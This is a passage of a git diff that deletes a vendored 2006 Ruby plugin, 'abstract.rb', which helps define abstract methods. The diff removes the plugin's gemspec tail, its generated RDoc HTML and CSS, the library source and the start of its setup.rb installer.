-  ## files
-  files = []
-  files += Dir.glob('lib/**/*')
-  files += Dir.glob('test/**/*')
-  files += %w[README.txt ChangeLog setup.rb abstract.gemspec]
-  #s.files       = files.delete_if { |path| path =~ /\.svn/ }
-  s.files       = files
-  s.test_file   = 'test/test.rb'
-end
-
-# Quick fix for Ruby 1.8.3 / YAML bug   (thanks to Ross Bamford)
-if (RUBY_VERSION == '1.8.3')
-   def spec.to_yaml
-      out = super
-      out = '--- ' + out unless out =~ /^---/
-      out
-   end
-end
-
-if $0 == __FILE__
-  Gem::manage_gems
-  Gem::Builder.new(spec).build
-end
-
diff --git a/vendor/plugins/abstract_1.0.0/doc/classes/Kernel.html b/vendor/plugins/abstract_1.0.0/doc/classes/Kernel.html
deleted file mode 100644
index 66552792..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/classes/Kernel.html
+++ /dev/null
@@ -1,134 +0,0 @@
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <title>Module: Kernel</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-  <meta http-equiv="Content-Script-Type" content="text/javascript" />
-  <link rel="stylesheet" href=".././rdoc-style.css" type="text/css" media="screen" />
-  <script type="text/javascript">
-  // <![CDATA[
-
-  function popupCode( url ) {
-    window.open(url, "Code", "resizable=yes,scrollbars=yes,toolbar=no,status=no,height=150,width=400")
-  }
-
-  function toggleCode( id ) {
-    if ( document.getElementById )
-      elem = document.getElementById( id );
-    else if ( document.all )
-      elem = eval( "document.all." + id );
-    else
-      return false;
-
-    elemStyle = elem.style;
-    
-    if ( elemStyle.display != "block" ) {
-      elemStyle.display = "block"
-    } else {
-      elemStyle.display = "none"
-    }
-
-    return true;
-  }
-  
-  // Make codeblocks hidden by default
-  document.writeln( "<style type=\"text/css\">div.method-source-code { display: none }</style>" )
-  
-  // ]]>
-  </script>
-
-</head>
-<body>
-
-
-
-    <div id="classHeader">
-        <table class="header-table">
-        <tr class="top-aligned-row">
-          <td><strong>Module</strong></td>
-          <td class="class-name-in-header">Kernel</td>
-        </tr>
-        <tr class="top-aligned-row">
-            <td><strong>In:</strong></td>
-            <td>
-                <a href="../files/lib/abstract_rb.html">
-                lib/abstract.rb
-                </a>
-        <br />
-            </td>
-        </tr>
-
-        </table>
-    </div>
-  <!-- banner header -->
-
-  <div id="bodyContent">
-
-
-
-  <div id="contextContent">
-
-
-
-   </div>
-
-    <div id="method-list">
-      <h3 class="section-bar">Methods</h3>
-
-      <div class="name-list">
-      <a href="#M000002">not_implemented</a>&nbsp;&nbsp;
-      </div>
-    </div>
-
-  </div>
-
-
-    <!-- if includes -->
-
-    <div id="section">
-
-
-
-
-
-      
-
-
-    <!-- if method_list -->
-    <div id="methods">
-      <h3 class="section-bar">Private Instance methods</h3>
-
-      <div id="method-M000002" class="method-detail">
-        <a name="M000002"></a>
-
-        <div class="method-heading">
-          <a href="Kernel.src/M000002.html" target="Code" class="method-signature"
-            onclick="popupCode('Kernel.src/M000002.html');return false;">
-          <span class="method-name">not_implemented</span><span class="method-args">(</span>
-          </a>
-        </div>
-      
-        <div class="method-description">
-          <p>
-raise NotImplementedError
-</p>
-        </div>
-      </div>
-
-
-    </div>
-
-
-  </div>
-
-
-<div id="validator-badges">
-  <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-</div>
-
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/classes/Kernel.src/M000002.html b/vendor/plugins/abstract_1.0.0/doc/classes/Kernel.src/M000002.html
deleted file mode 100644
index 6066552f..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/classes/Kernel.src/M000002.html
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html>
-<head>
-  <title>not_implemented (Kernel)</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-  <link rel="stylesheet" href="../.././rdoc-style.css" type="text/css" media="screen" />
-</head>
-<body class="standalone-code">
-  <pre><span class="ruby-comment cmt"># File lib/abstract.rb, line 65</span>
-  <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">not_implemented</span>     <span class="ruby-comment cmt">#:doc:</span>
-    <span class="ruby-identifier">backtrace</span> = <span class="ruby-identifier">caller</span>()
-    <span class="ruby-identifier">method_name</span> = (<span class="ruby-identifier">backtrace</span>.<span class="ruby-identifier">shift</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/`(\w+)'$/</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">$1</span>
-    <span class="ruby-identifier">mesg</span> = <span class="ruby-node">&quot;class #{self.class.name} must implement abstract method '#{method_name}()'.&quot;</span>
-    <span class="ruby-comment cmt">#mesg = &quot;#{self.class.name}##{method_name}() is not implemented.&quot;</span>
-    <span class="ruby-identifier">err</span> = <span class="ruby-constant">NotImplementedError</span>.<span class="ruby-identifier">new</span> <span class="ruby-identifier">mesg</span>
-    <span class="ruby-identifier">err</span>.<span class="ruby-identifier">set_backtrace</span> <span class="ruby-identifier">backtrace</span>
-    <span class="ruby-identifier">raise</span> <span class="ruby-identifier">err</span>
-  <span class="ruby-keyword kw">end</span></pre>
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/classes/Module.html b/vendor/plugins/abstract_1.0.0/doc/classes/Module.html
deleted file mode 100644
index 7adc654e..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/classes/Module.html
+++ /dev/null
@@ -1,140 +0,0 @@
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <title>Class: Module</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-  <meta http-equiv="Content-Script-Type" content="text/javascript" />
-  <link rel="stylesheet" href=".././rdoc-style.css" type="text/css" media="screen" />
-  <script type="text/javascript">
-  // <![CDATA[
-
-  function popupCode( url ) {
-    window.open(url, "Code", "resizable=yes,scrollbars=yes,toolbar=no,status=no,height=150,width=400")
-  }
-
-  function toggleCode( id ) {
-    if ( document.getElementById )
-      elem = document.getElementById( id );
-    else if ( document.all )
-      elem = eval( "document.all." + id );
-    else
-      return false;
-
-    elemStyle = elem.style;
-    
-    if ( elemStyle.display != "block" ) {
-      elemStyle.display = "block"
-    } else {
-      elemStyle.display = "none"
-    }
-
-    return true;
-  }
-  
-  // Make codeblocks hidden by default
-  document.writeln( "<style type=\"text/css\">div.method-source-code { display: none }</style>" )
-  
-  // ]]>
-  </script>
-
-</head>
-<body>
-
-
-
-    <div id="classHeader">
-        <table class="header-table">
-        <tr class="top-aligned-row">
-          <td><strong>Class</strong></td>
-          <td class="class-name-in-header">Module</td>
-        </tr>
-        <tr class="top-aligned-row">
-            <td><strong>In:</strong></td>
-            <td>
-                <a href="../files/lib/abstract_rb.html">
-                lib/abstract.rb
-                </a>
-        <br />
-            </td>
-        </tr>
-
-        <tr class="top-aligned-row">
-            <td><strong>Parent:</strong></td>
-            <td>
-                Object
-            </td>
-        </tr>
-        </table>
-    </div>
-  <!-- banner header -->
-
-  <div id="bodyContent">
-
-
-
-  <div id="contextContent">
-
-
-
-   </div>
-
-    <div id="method-list">
-      <h3 class="section-bar">Methods</h3>
-
-      <div class="name-list">
-      <a href="#M000001">abstract_method</a>&nbsp;&nbsp;
-      </div>
-    </div>
-
-  </div>
-
-
-    <!-- if includes -->
-
-    <div id="section">
-
-
-
-
-
-      
-
-
-    <!-- if method_list -->
-    <div id="methods">
-      <h3 class="section-bar">Public Instance methods</h3>
-
-      <div id="method-M000001" class="method-detail">
-        <a name="M000001"></a>
-
-        <div class="method-heading">
-          <a href="Module.src/M000001.html" target="Code" class="method-signature"
-            onclick="popupCode('Module.src/M000001.html');return false;">
-          <span class="method-name">abstract_method</span><span class="method-args">(args_str, *method_names)</span>
-          </a>
-        </div>
-      
-        <div class="method-description">
-          <p>
-define abstract methods
-</p>
-        </div>
-      </div>
-
-
-    </div>
-
-
-  </div>
-
-
-<div id="validator-badges">
-  <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-</div>
-
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/classes/Module.src/M000001.html b/vendor/plugins/abstract_1.0.0/doc/classes/Module.src/M000001.html
deleted file mode 100644
index be99e052..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/classes/Module.src/M000001.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html>
-<head>
-  <title>abstract_method (Module)</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-  <link rel="stylesheet" href="../.././rdoc-style.css" type="text/css" media="screen" />
-</head>
-<body class="standalone-code">
-  <pre><span class="ruby-comment cmt"># File lib/abstract.rb, line 41</span>
-  <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">abstract_method</span> <span class="ruby-identifier">args_str</span>, <span class="ruby-operator">*</span><span class="ruby-identifier">method_names</span>
-    <span class="ruby-identifier">method_names</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">name</span><span class="ruby-operator">|</span>
-      <span class="ruby-identifier">module_eval</span> <span class="ruby-value str">&quot;def \#{name}(\#{args_str})\nmesg = \&quot;class \\\#{self.class.name} must implement abstract method `\#{self.name}#\#{name}()'.\&quot;\n#mesg = \&quot;\\\#{self.class.name}#\#{name}() is not implemented.\&quot;\nerr = NotImplementedError.new mesg\nerr.set_backtrace caller()\nraise err\nend\n&quot;</span>
-    <span class="ruby-keyword kw">end</span>
-  <span class="ruby-keyword kw">end</span></pre>
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/created.rid b/vendor/plugins/abstract_1.0.0/doc/created.rid
deleted file mode 100644
index fb0895a0..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/created.rid
+++ /dev/null
@@ -1 +0,0 @@
-Mon Mar 13 06:08:02 JST 2006
diff --git a/vendor/plugins/abstract_1.0.0/doc/files/README_txt.html b/vendor/plugins/abstract_1.0.0/doc/files/README_txt.html
deleted file mode 100644
index 76280654..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/files/README_txt.html
+++ /dev/null
@@ -1,173 +0,0 @@
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <title>File: README.txt</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-  <meta http-equiv="Content-Script-Type" content="text/javascript" />
-  <link rel="stylesheet" href=".././rdoc-style.css" type="text/css" media="screen" />
-  <script type="text/javascript">
-  // <![CDATA[
-
-  function popupCode( url ) {
-    window.open(url, "Code", "resizable=yes,scrollbars=yes,toolbar=no,status=no,height=150,width=400")
-  }
-
-  function toggleCode( id ) {
-    if ( document.getElementById )
-      elem = document.getElementById( id );
-    else if ( document.all )
-      elem = eval( "document.all." + id );
-    else
-      return false;
-
-    elemStyle = elem.style;
-    
-    if ( elemStyle.display != "block" ) {
-      elemStyle.display = "block"
-    } else {
-      elemStyle.display = "none"
-    }
-
-    return true;
-  }
-  
-  // Make codeblocks hidden by default
-  document.writeln( "<style type=\"text/css\">div.method-source-code { display: none }</style>" )
-  
-  // ]]>
-  </script>
-
-</head>
-<body>
-
-
-
-  <div id="fileHeader">
-    <h1>README.txt</h1>
-    <table class="header-table">
-    <tr class="top-aligned-row">
-      <td><strong>Path:</strong></td>
-      <td>README.txt
-      </td>
-    </tr>
-    <tr class="top-aligned-row">
-      <td><strong>Last Update:</strong></td>
-      <td>Mon Mar 13 06:08:02 JST 2006</td>
-    </tr>
-    </table>
-  </div>
-  <!-- banner header -->
-
-  <div id="bodyContent">
-
-
-
-  <div id="contextContent">
-
-    <div id="description">
-      <h1>README</h1>
-<table>
-<tr><td valign="top">revision:</td><td>$Rev: 1 $
-
-</td></tr>
-<tr><td valign="top">release:</td><td>$Release: 1.0.0 $
-
-</td></tr>
-<tr><td valign="top">copyright:</td><td>copyright&#169; 2006 kuwata-lab.com all rights reserved.
-
-</td></tr>
-</table>
-<h2>Introduction</h2>
-<p>
-&#8216;abstract.rb&#8217; is a library which enable you to define abstract
-method in Ruby.
-</p>
-<p>
-The followings are examples:
-</p>
-<pre>
-  ## example1. (shorter notation)
-  require 'rubygems'   # if installed with 'gem install'
-  require 'abstract'
-  class Foo
-    abstract_method 'arg1, arg2=&quot;&quot;', :method1, :method2, :method3
-  end
-
-  ## example2. (RDoc friendly notation)
-  require 'rubygems'   # if installed with 'gem install'
-  require 'abstract'
-  class Bar
-    # ... method1 description ...
-    def method1(arg1, arg2=&quot;&quot;)
-      not_implemented
-    end
-    # ... method2 description ...
-    def method2(arg1, arg2=&quot;&quot;)
-      not_implemented
-    end
-  end
-</pre>
-<p>
-Abstract method makes your code more descriptive. It is useful even for
-dynamic language such as Ruby.
-</p>
-<h2>Installation</h2>
-<ul>
-<li>Type &#8216;gem install -r abstract&#8217; with root account if you have
-installed RubyGems.
-
-</li>
-<li>Or type &#8216;ruby setup.rb&#8217; with root account if you can be root
-account.
-
-</li>
-<li>Or copy lib/abstract.rb into proper directory such as
-&#8217;/usr/local/lib/ruby/site_ruby&#8217;.
-
-</li>
-</ul>
-<h2>License</h2>
-<p>
-Ruby&#8217;s
-</p>
-<h2>Copyright</h2>
-<p>
-copyright&#169; 2006 kuwata-lab.com all rights reserved.
-</p>
-
-    </div>
-
-
-   </div>
-
-
-  </div>
-
-
-    <!-- if includes -->
-
-    <div id="section">
-
-
-
-
-
-      
-
-
-    <!-- if method_list -->
-
-
-  </div>
-
-
-<div id="validator-badges">
-  <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-</div>
-
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/files/lib/abstract_rb.html b/vendor/plugins/abstract_1.0.0/doc/files/lib/abstract_rb.html
deleted file mode 100644
index d821bca1..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/files/lib/abstract_rb.html
+++ /dev/null
@@ -1,137 +0,0 @@
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <title>File: abstract.rb</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-  <meta http-equiv="Content-Script-Type" content="text/javascript" />
-  <link rel="stylesheet" href="../.././rdoc-style.css" type="text/css" media="screen" />
-  <script type="text/javascript">
-  // <![CDATA[
-
-  function popupCode( url ) {
-    window.open(url, "Code", "resizable=yes,scrollbars=yes,toolbar=no,status=no,height=150,width=400")
-  }
-
-  function toggleCode( id ) {
-    if ( document.getElementById )
-      elem = document.getElementById( id );
-    else if ( document.all )
-      elem = eval( "document.all." + id );
-    else
-      return false;
-
-    elemStyle = elem.style;
-    
-    if ( elemStyle.display != "block" ) {
-      elemStyle.display = "block"
-    } else {
-      elemStyle.display = "none"
-    }
-
-    return true;
-  }
-  
-  // Make codeblocks hidden by default
-  document.writeln( "<style type=\"text/css\">div.method-source-code { display: none }</style>" )
-  
-  // ]]>
-  </script>
-
-</head>
-<body>
-
-
-
-  <div id="fileHeader">
-    <h1>abstract.rb</h1>
-    <table class="header-table">
-    <tr class="top-aligned-row">
-      <td><strong>Path:</strong></td>
-      <td>lib/abstract.rb
-      </td>
-    </tr>
-    <tr class="top-aligned-row">
-      <td><strong>Last Update:</strong></td>
-      <td>Mon Mar 13 06:08:02 JST 2006</td>
-    </tr>
-    </table>
-  </div>
-  <!-- banner header -->
-
-  <div id="bodyContent">
-
-
-
-  <div id="contextContent">
-
-    <div id="description">
-      <p>
-$Rev: 1 $ $Release: 1.0.0 $ copyright&#169; 2006 kuwata-lab.com all rights
-reserved.
-</p>
-<p>
-helper to define abstract method in Ruby.
-</p>
-<p>
-example1. (shorter notation)
-</p>
-<pre>
-  require 'abstract'
-  class Foo
-    abstract_method 'arg1, arg2=&quot;&quot;', :method1, :method2, :method3
-  end
-</pre>
-<p>
-example2. (RDoc friendly notation)
-</p>
-<pre>
-  require 'abstract'
-  class Bar
-    # ... method1 description ...
-    def method1(arg1, arg2=&quot;&quot;)
-      not_implemented
-    end
-
-    # ... method2 description ...
-    def method2(arg1, arg2=&quot;&quot;)
-      not_implemented
-    end
-  end
-</pre>
-
-    </div>
-
-
-   </div>
-
-
-  </div>
-
-
-    <!-- if includes -->
-
-    <div id="section">
-
-
-
-
-
-      
-
-
-    <!-- if method_list -->
-
-
-  </div>
-
-
-<div id="validator-badges">
-  <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-</div>
-
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/fr_class_index.html b/vendor/plugins/abstract_1.0.0/doc/fr_class_index.html
deleted file mode 100644
index 4de3e59f..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/fr_class_index.html
+++ /dev/null
@@ -1,28 +0,0 @@
-
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<!--
-
-    Classes
-
-  -->
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <title>Classes</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-  <link rel="stylesheet" href="rdoc-style.css" type="text/css" />
-  <base target="docwin" />
-</head>
-<body>
-<div id="index">
-  <h1 class="section-bar">Classes</h1>
-  <div id="index-entries">
-    <a href="classes/Kernel.html">Kernel</a><br />
-    <a href="classes/Module.html">Module</a><br />
-  </div>
-</div>
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/fr_file_index.html b/vendor/plugins/abstract_1.0.0/doc/fr_file_index.html
deleted file mode 100644
index d9a10f4f..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/fr_file_index.html
+++ /dev/null
@@ -1,28 +0,0 @@
-
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<!--
-
-    Files
-
-  -->
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <title>Files</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-  <link rel="stylesheet" href="rdoc-style.css" type="text/css" />
-  <base target="docwin" />
-</head>
-<body>
-<div id="index">
-  <h1 class="section-bar">Files</h1>
-  <div id="index-entries">
-    <a href="files/README_txt.html">README.txt</a><br />
-    <a href="files/lib/abstract_rb.html">lib/abstract.rb</a><br />
-  </div>
-</div>
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/fr_method_index.html b/vendor/plugins/abstract_1.0.0/doc/fr_method_index.html
deleted file mode 100644
index c414dede..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/fr_method_index.html
+++ /dev/null
@@ -1,28 +0,0 @@
-
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<!--
-
-    Methods
-
-  -->
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <title>Methods</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-  <link rel="stylesheet" href="rdoc-style.css" type="text/css" />
-  <base target="docwin" />
-</head>
-<body>
-<div id="index">
-  <h1 class="section-bar">Methods</h1>
-  <div id="index-entries">
-    <a href="classes/Module.html#M000001">abstract_method (Module)</a><br />
-    <a href="classes/Kernel.html#M000002">not_implemented (Kernel)</a><br />
-  </div>
-</div>
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/index.html b/vendor/plugins/abstract_1.0.0/doc/index.html
deleted file mode 100644
index 87276639..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="iso-8859-1"?>
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
-
-<!--
-
-    abstract.rb documentation
-
-  -->
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-  <title>abstract.rb documentation</title>
-  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-</head>
-<frameset rows="20%, 80%">
-    <frameset cols="25%,35%,45%">
-        <frame src="fr_file_index.html"   title="Files" name="Files" />
-        <frame src="fr_class_index.html"  name="Classes" />
-        <frame src="fr_method_index.html" name="Methods" />
-    </frameset>
-    <frame src="files/README_txt.html" name="docwin" />
-</frameset>
-</html>
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/doc/rdoc-style.css b/vendor/plugins/abstract_1.0.0/doc/rdoc-style.css
deleted file mode 100644
index 44c7b3d1..00000000
--- a/vendor/plugins/abstract_1.0.0/doc/rdoc-style.css
+++ /dev/null
@@ -1,208 +0,0 @@
-
-body {
-    font-family: Verdana,Arial,Helvetica,sans-serif;
-    font-size:   90%;
-    margin: 0;
-    margin-left: 40px;
-    padding: 0;
-    background: white;
-}
-
-h1,h2,h3,h4 { margin: 0; color: #efefef; background: transparent; }
-h1 { font-size: 150%; }
-h2,h3,h4 { margin-top: 1em; }
-
-a { background: #eef; color: #039; text-decoration: none; }
-a:hover { background: #039; color: #eef; }
-
-/* Override the base stylesheet's Anchor inside a table cell */
-td > a {
-  background: transparent;
-  color: #039;
-  text-decoration: none;
-}
-
-/* and inside a section title */
-.section-title > a {
-  background: transparent;
-  color: #eee;
-  text-decoration: none;
-}
-
-/* === Structural elements =================================== */
-
-div#index {
-    margin: 0;
-    margin-left: -40px;
-    padding: 0;
-    font-size: 90%;
-}
-
-
-div#index a {
-    margin-left: 0.7em;
-}
-
-div#index .section-bar {
-   margin-left: 0px;
-   padding-left: 0.7em;
-   background: #ccc;
-   font-size: small;
-}
-
-
-div#classHeader, div#fileHeader {
-    width: auto;
-    color: white;
-    padding: 0.5em 1.5em 0.5em 1.5em;
-    margin: 0;
-    margin-left: -40px;
-    border-bottom: 3px solid #006;
-}
-
-div#classHeader a, div#fileHeader a {
-    background: inherit;
-    color: white;
-}
-
-div#classHeader td, div#fileHeader td {
-    background: inherit;
-    color: white;
-}
-
-
-div#fileHeader {
-    background: #057;
-}
-
-div#classHeader {
-    background: #048;
-}
-
-
-.class-name-in-header {
-  font-size:  180%;
-  font-weight: bold;
-}
-
-
-div#bodyContent {
-    padding: 0 1.5em 0 1.5em;
-}
-
-div#description {
-    padding: 0.5em 1.5em;
-    background: #efefef;
-    border: 1px dotted #999;
-}
-
-div#description h1,h2,h3,h4,h5,h6 {
-    color: #125;;
-    background: transparent;
-}
-
-div#validator-badges {
-    text-align: center;
-}
-div#validator-badges img { border: 0; }
-
-div#copyright {
-    color: #333;
-    background: #efefef;
-    font: 0.75em sans-serif;
-    margin-top: 5em;
-    margin-bottom: 0;
-    padding: 0.5em 2em;
-}
-
-
-/* === Classes =================================== */
-
-table.header-table {
-    color: white;
-    font-size: small;
-}
-
-.type-note {
-    font-size: small;
-    color: #DEDEDE;
-}
-
-.xxsection-bar {
-    background: #eee;
-    color: #333;
-    padding: 3px;
-}
-
-.section-bar {
-   color: #333;
-   border-bottom: 1px solid #999;
-    margin-left: -20px;
-}
-
-
-.section-title {
-    background: #79a;
-    color: #eee;
-    padding: 3px;
-    margin-top: 2em;
-    margin-left: -30px;
-    border: 1px solid #999;
-}
-
-.top-aligned-row {  vertical-align: top }
-.bottom-aligned-row { vertical-align: bottom }
-
-/* --- Context section classes ----------------------- */
-
-.context-row { }
-.context-item-name { font-family: monospace; font-weight: bold; color: black; }
-.context-item-value { font-size: small; color: #448; }
-.context-item-desc { color: #333; padding-left: 2em; }
-
-/* --- Method classes -------------------------- */
-.method-detail {
-    background: #efefef;
-    padding: 0;
-    margin-top: 0.5em;
-    margin-bottom: 1em;
-    border: 1px dotted #ccc;
-}
-.method-heading {
-  color: black;
-  background: #ccc;
-  border-bottom: 1px solid #666;
-  padding: 0.2em 0.5em 0 0.5em;
-}
-.method-signature { color: black; background: inherit; }
-.method-name { font-weight: bold; }
-.method-args { font-style: italic; }
-.method-description { padding: 0 0.5em 0 0.5em; }
-
-/* --- Source code sections -------------------- */
-
-a.source-toggle { font-size: 90%; }
-div.method-source-code {
-    background: #262626;
-    color: #ffdead;
-    margin: 1em;
-    padding: 0.5em;
-    border: 1px dashed #999;
-    overflow: hidden;
-}
-
-div.method-source-code pre { color: #ffdead; overflow: hidden; }
-
-/* --- Ruby keyword styles --------------------- */
-
-.standalone-code { background: #221111; color: #ffdead; overflow: hidden; }
-
-.ruby-constant  { color: #7fffd4; background: transparent; }
-.ruby-keyword { color: #00ffff; background: transparent; }
-.ruby-ivar    { color: #eedd82; background: transparent; }
-.ruby-operator  { color: #00ffee; background: transparent; }
-.ruby-identifier { color: #ffdead; background: transparent; }
-.ruby-node    { color: #ffa07a; background: transparent; }
-.ruby-comment { color: #b22222; font-weight: bold; background: transparent; }
-.ruby-regexp  { color: #ffa07a; background: transparent; }
-.ruby-value   { color: #7fffd4; background: transparent; }
\ No newline at end of file
diff --git a/vendor/plugins/abstract_1.0.0/lib/abstract.rb b/vendor/plugins/abstract_1.0.0/lib/abstract.rb
deleted file mode 100644
index 62670365..00000000
--- a/vendor/plugins/abstract_1.0.0/lib/abstract.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-##
-## $Rev: 1 $
-## $Release: 1.0.0 $
-## copyright(c) 2006 kuwata-lab.com all rights reserved.
-##
-##
-## helper to define abstract method in Ruby.
-##
-##
-## example1. (shorter notation)
-##
-##   require 'abstract'
-##   class Foo
-##     abstract_method 'arg1, arg2=""', :method1, :method2, :method3
-##   end
-##
-##
-## example2. (RDoc friendly notation)
-##
-##   require 'abstract'
-##   class Bar
-##     # ... method1 description ...
-##     def method1(arg1, arg2="")
-##       not_implemented
-##     end
-##
-##     # ... method2 description ...
-##     def method2(arg1, arg2="")
-##       not_implemented
-##     end
-##   end
-##
-
-
-##
-class Module
-
-  ##
-  ## define abstract methods
-  ##
-  def abstract_method args_str, *method_names
-    method_names.each do |name|
-      module_eval <<-END
-        def #{name}(#{args_str})
-          mesg = "class \#{self.class.name} must implement abstract method `#{self.name}##{name}()'."
-          #mesg = "\#{self.class.name}##{name}() is not implemented."
-          err = NotImplementedError.new mesg
-          err.set_backtrace caller()
-          raise err
-        end
-      END
-    end
-  end
-
-end
-
-
-##
-module Kernel
-
-  ##
-  ## raise NotImplementedError
-  ##
-  def not_implemented     #:doc:
-    backtrace = caller()
-    method_name = (backtrace.shift =~ /`(\w+)'$/) && $1
-    mesg = "class #{self.class.name} must implement abstract method '#{method_name}()'."
-    #mesg = "#{self.class.name}##{method_name}() is not implemented."
-    err = NotImplementedError.new mesg
-    err.set_backtrace backtrace
-    raise err
-  end
-  private :not_implemented
-
-end
diff --git a/vendor/plugins/abstract_1.0.0/setup.rb b/vendor/plugins/abstract_1.0.0/setup.rb
deleted file mode 100644
index f1c9d9a6..00000000
--- a/vendor/plugins/abstract_1.0.0/setup.rb
+++ /dev/null
@@ -1,1331 +0,0 @@
-#
-# setup.rb
-#
-# Copyright (c) 2000-2004 Minero Aoki
-#
-# This program is free software.
-# You can distribute/modify this program under the terms of
-# the GNU Lesser General Public License version 2.1.
-#
-
-#
-# For backward compatibility
-#
-
-unless Enumerable.method_defined?(:map)
-  module Enumerable
-    alias map collect
-  end
-end
-
-unless Enumerable.method_defined?(:detect)
-  module Enumerable
-    alias detect find
-  end
-end
-
-unless Enumerable.method_defined?(:select)
-  module Enumerable
-    alias select find_all
-  end
-end
-
-unless Enumerable.method_defined?(:reject)
-  module Enumerable
-    def reject
-      result = []
-      each do |i|
-        result.push i unless yield(i)
-      end
-      result
-    end
-  end
-end
-
-unless Enumerable.method_defined?(:inject)
-  module Enumerable
-    def inject(result)
-      each do |i|
-        result = yield(result, i)
-      end
-      result
-    end
